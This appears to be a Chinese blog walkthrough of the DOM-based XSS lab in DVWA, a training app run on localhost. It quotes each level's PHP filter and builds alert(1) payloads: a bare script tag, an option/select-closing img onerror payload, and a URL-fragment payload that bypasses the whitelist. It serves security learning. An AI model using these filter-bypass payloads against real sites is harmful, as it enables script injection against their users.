DWVA之XSS (DOM)
DOM XSS詳細介紹可以點選這裡
low level
最低級別的原始碼沒有任何防護措施直接在位址列可以XSS,
http://localhost/DVWA/vulnerabilities/xss_d/?default=English
將地址改為:http://localhost/DVWA/vulnerabilities/xss_d/?default=%3Cscript%3Ealert(1)%3C/script%3E
彈窗既可!
medium level
首先看程式碼view-source:
<?php
// Is there any input?
if ( array_key_exists ( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
分析程式碼:首先判斷default值是否為空,若不為空獲得default的值,如果default值含有<script,則將default值改為English
就是過濾了<script,這裡只需要繞過這個既可:
這裡可以直接換個標籤,例如:<img src=1 onerror=alert(1)>
可是這裡並沒有任何彈窗,F12檢視程式碼:
這裡XSS語句是在value值中,並沒有執行,因此需要先閉合前邊的標籤,重新構造payload
></option><img src=1 onerror=alert(1)>
試試,還是沒有反應,再看原始碼:
看到了</select>
,直接閉合它試試,這樣<img src=1 onerror=alert(1)>
語句就是一條獨立的語句了,構造payload:
http://localhost/DVWA/vulnerabilities/xss_d/?default=%3E%3C/option%3E%3C/select%3E%3Cimg%20src=1%20onerror=alert(1)%3E
成功:
這裡需要大家有耐心的一次次去嘗試哦。網安無涯,回頭是岸 :)
high level
首先還是原始碼,XSS學的好不好,主要還是程式碼分析基礎牢不牢,廢話不多說,繼續肝:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
程式碼分析:還是判斷default的值,若不為空,開始執行下邊的switch,若不是case則default=English
這個比較有難度,還是多借鑑一下大佬的教程吧。。。
查了好多資料,發現URL後邊加#
可以直接彈窗,
payload:
http://localhost/DVWA/vulnerabilities/xss_d/?default=English#%3Cscript%3Ealert(1)%3C/script%3E
這個比較意外,具體操作F12檢視程式碼吧
看到這個程式碼,還是學的知識太少了,加個#
如此神奇,直接一條獨立的程式碼執行,emmmmm,努力學習>_<
一入網安坑,遊戲變路人,加油!
impossible
養成看程式碼的習慣。直接view-source:
<?php
# Don't need to do anything, protction handled on the client side
?>
啊這~,作者真頑皮